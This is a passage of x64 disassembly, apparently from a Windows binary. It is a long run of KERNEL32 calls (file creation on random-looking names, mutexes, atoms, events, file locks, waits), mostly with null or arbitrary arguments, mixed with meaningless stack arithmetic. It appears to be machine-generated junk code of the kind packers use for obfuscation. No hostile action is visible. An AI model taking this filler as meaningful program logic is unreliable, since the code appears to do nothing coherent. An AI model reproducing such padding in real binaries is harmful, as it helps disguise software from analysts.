call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx ecx, word [rsp + 0x120c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1024], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.HjEBsJib4H9FUKi9TgqHVWm1qwVje
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaa00], rax
lea rax, [rsp + 0x80a8]
mov qword [rsp + 0xaa08], rax
movzx ecx, word [rsp + 0xf6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1238], ax
mov rax, qword [rsp + 0xa0d8]
mov ecx, dword [rsp + 0x4968]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49e8], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221339], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov r9d, 0x8d0
xor r8d, r8d
lea rdx, [rsp + 0x96b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c84], eax
movzx eax, word [rsp + 0xfc4]
movzx ecx, word [rsp + 0xf04]
and eax, ecx
mov word [rsp + 0x12f0], ax
lea rax, [rsp + 0x9e70]
mov qword [rsp + 0xaa10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx ecx, word [rsp + 0x11bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0xa570]
mov rcx, qword [rsp + 0xa200]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x84b8], rax
mov rcx, qword [rsp + 0xa978]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c88], eax
movsx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1b4], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x46c4]
sar eax, cl
mov dword [rsp + 0x4898], eax
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f0]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa4e0]
mov word [rcx], ax
mov r9d, 0x57e
xor r8d, r8d
lea rdx, [rsp + 0xa0e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0xa750]
movzx eax, byte [rax]
mov byte [rsp + 0x2ad], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaa18], rax
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xdec]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov dword [0x14024f1cc], eax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0xaa20], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x889
mov r9d, 0x35dc
mov r8d, 0x9428c152
mov edx, 2
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4990], eax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9a48]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9f28]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c8c], eax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10a4]
sub eax, ecx
mov rcx, qword [rsp + 0x9628]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa260], rax
mov r9d, 0x2e4
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bb4], eax
lea rcx, str.I6IMbnmr.DDCcFM_FiIBT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1310], ax
mov rcx, qword [rsp + 0x9f90]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
lea rax, [rsp + 0x294]
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4884], eax
mov edx, 0xbed
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a94], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8410]
mov qword [rsp + 0xaa30], rax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1068], ax
lea rdx, [rsp + 0xaa38]
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b08], eax
lea rcx, [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [0x14024f2d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17c], al
mov qword [rsp + 0x20], 0
mov r9d, 0x30a9
mov r8d, 0x1be3
mov edx, 0xb6
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4c14], eax
mov rax, qword [rsp + 0xa878]
mov rcx, qword [rsp + 0x9f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f31c], eax
mov r9d, 1
lea r8, [rsp + 0x9f88]
mov rdx, qword [rsp + 0xa168]
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c90], eax
mov edx, 0x458
mov rcx, qword [rsp + 0x9e08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c20], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [0x1402327e0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1314], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, byte [rsp + 0x2a6]
mov byte [rsp + 0x2ae], al
mov rax, qword [0x14024f258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c48], eax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x12a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x123c], ax
lea rcx, [0x1402327e8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1318], ax
lea rax, [rsp + 0x11dc]
mov qword [rsp + 0xaa40], rax
mov rax, qword [rsp + 0xa6f8]
mov ecx, dword [rsp + 0x4988]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa638]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x2a7]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov byte [rsp + 0xd6], al
mov rax, qword [rsp + 0xa740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x9d70]
movzx eax, byte [rax]
mov rcx, qword [0x14024f398]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa150]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x4210]
mov qword [rsp + 0xaa48], rax
movzx ecx, word [rsp + 0xfa0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1024], ax
movzx eax, word [rsp + 0x10cc]
movzx ecx, word [rsp + 0x1038]
and eax, ecx
mov word [0x14022fbb0], ax
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0x79f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8e30], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0xa158]
mov rax, qword [rax]
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x97c8]
mov qword [rsp + 0xaa60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa250], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx ecx, word [rsp + 0x1080]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf68], ax
mov r9d, 0x1c61
xor r8d, r8d
lea rdx, [rsp + 0x9938]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c94], eax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [0x14024f2c0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9730]
mov byte [rcx], al
mov rax, qword [rsp + 0x9560]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7b18]
shr rax, cl
mov qword [rsp + 0x8658], rax
mov rax, qword [rsp + 0xaa28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d40]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x292], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xaa68], rax
movzx ecx, word [rsp + 0xf34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1128], ax
movsx eax, word [rsp + 0x1144]
mov rcx, qword [rsp + 0xa940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa550]
mov word [rcx], ax
mov rax, qword [rsp + 0xa170]
movzx eax, word [rax]
mov word [0x14024f1c8], ax
mov rax, qword [rsp + 0xa9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov edx, 0x18b2
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c98], eax
movzx eax, word [rsp + 0x12c4]
mov word [rsp + 0x131c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rcx, [rsp + 0xa330]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9b40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a4], al
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [0x14022fb90]
mov qword [rsp + 0xaa70], rax
mov rax, qword [rsp + 0xa450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29e]
imul eax, ecx
mov byte [rsp + 0x286], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.7ofZujyvAydI0UVO3sVj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaa78], rax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0x4c9c], eax
movsx eax, word [rsp + 0x1210]
mov rcx, qword [rsp + 0x9ed0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0xa280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa350], rax
mov r9d, 0x13f
xor r8d, r8d
lea rdx, [rsp + 0xa038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x497c], eax
mov rax, qword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x490c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f3b8], eax
lea rcx, str.JlE2z28APg0U_w_UtJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1244], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xa518]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x131c]
sub eax, ecx
mov word [rsp + 0x974], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x290], al
lea rax, [rsp + 0x89e0]
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xa4b0]
mov rcx, qword [rsp + 0xa8e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x94f8], rax
movsx eax, word [rsp + 0x1020]
movsx ecx, word [rsp + 0xef0]
sub eax, ecx
mov word [rsp + 0x1258], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor r9d, r9d
lea r8, [rsp + 0xa918]
mov rdx, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b08], eax
lea rax, [rsp + 0x43fc]
mov qword [rsp + 0xaa98], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x28a]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov byte [rsp + 0x2af], al
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
movzx ecx, word [0x14022fb84]
shl eax, cl
mov word [0x14024f2a0], ax
mov edx, 0x6c0
mov rcx, qword [rsp + 0xa0f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xaaa0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rcx, qword [rsp + 0x96d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xa9d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaaa8], rax
mov eax, dword [rsp + 0x46a0]
mov rcx, qword [rsp + 0xaa48]
mov qword [rsp + 0xaab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaab0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4a88], eax
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0x9720]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9df0], rax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a50], eax
mov rax, qword [rsp + 0x9e10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8898], rax
mov rax, qword [rsp + 0xa5c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x111c]
and eax, ecx
mov word [rsp + 0x6ec], ax
mov r9d, 0x270d
xor r8d, r8d
lea rdx, [rsp + 0x9b60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ca0], eax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0xaab8], rax
mov r9d, 1
lea r8, [rsp + 0xa0d0]
mov rdx, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xa7f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c4c], eax
movsx eax, byte [rsp + 0x286]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a7], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.oIoTzqRf4AAH9B4aME8WPR1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaac0], rax
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0x8e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4644], eax
lea rax, [0x14022fba4]
mov qword [rsp + 0xaac8], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4960], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
mov edx, 0x1ef4
mov rcx, qword [rsp + 0xa1e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ca4], eax
lea rcx, str.UiV2NvI_Nh_gDOsqQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1160], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a2]
imul eax, ecx
mov byte [0x14022133d], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa748], rax
movzx ecx, word [rsp + 0x10b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
mov rax, qword [rsp + 0x8688]
mov rcx, qword [rsp + 0x93b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8028], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa608]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c10], eax
lea rax, [rsp + 0xa848]
mov qword [rsp + 0xaad0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1599
mov r9d, 0x3c31
mov r8d, 0x77b73fb6
mov edx, 1
mov rcx, qword [rsp + 0xa970]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x40d4]
mov ecx, dword [rsp + 0x47b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4948], eax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0xaad8], rax
movsx eax, word [rsp + 0x1084]
movsx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa538]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0x4928]
mov dword [rsp + 0x4ca8], eax
mov edx, 0x35b
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49ac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.KYeYMBp6BU6PU9_sbHrm10Old
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaae0], rax
movzx eax, byte [rsp + 0x2ad]
movzx ecx, byte [rsp + 0x290]
add eax, ecx
mov rcx, qword [rsp + 0x9b40]
mov byte [rcx], al
movzx eax, word [rsp + 0x1050]
movzx ecx, word [rsp + 0x11d0]
add eax, ecx
mov rcx, qword [0x14024f378]
mov word [rcx], ax
lea rax, [rsp + 0x4948]
mov qword [rsp + 0xaae8], rax
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x287], al
xor r9d, r9d
lea r8, [rsp + 0xa4a0]
mov rdx, qword [rsp + 0x9b08]
mov rcx, qword [rsp + 0x9bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bd8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7ed0]
sar rax, cl
mov qword [rsp + 0x98b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0x84c0]
mov qword [rsp + 0xaaf8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4648]
shl eax, cl
mov rcx, qword [rsp + 0xa738]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1274]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x117c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x851
mov r9d, 0x3d75
mov r8d, 0x63fa501d
mov edx, 2
mov rcx, qword [rsp + 0xa8b8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4cac], eax
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0xa400]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aac], eax
movsx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0x9ad0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x798], ax
mov rcx, qword [rsp + 0xa818]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cb0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1134]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1100], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x189], al
movzx ecx, word [rsp + 0x1294]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1178], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cb4], eax
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0xa6a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0xa238]
mov eax, dword [rax]
mov dword [0x14024f1c4], eax
mov rax, qword [rsp + 0x8850]
mov qword [rsp + 0xab00], rax
lea rcx, [rsp + 0x9dd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x9a38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a4]
imul eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rcx, qword [rsp + 0x9750]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xa720]
mov qword [rsp + 0xab08], rax
lea rcx, str.EpXB_8t_Ya
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1320], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f08], eax
mov edx, 0x1666
mov rcx, qword [rsp + 0x9f70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c84], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, str.WOqnGyKe_CYwL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1324], ax
lea rax, [rsp + 0xf90]
mov qword [rsp + 0xab10], rax
mov eax, dword [rsp + 0x4890]
mov ecx, dword [rsp + 0x4764]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x278], al
lea rcx, [rsp + 0xa090]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b24], eax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
mov byte [0x14024f1c0], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa050]
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4be4], eax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.2p2QDyd0za7xixjUGzyFZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xab20], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x49ec], eax
mov rax, qword [rsp + 0xa4b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0x8d50]
mov rdx, qword [rsp + 0xab28]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c00], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [rsp + 0x9c20]
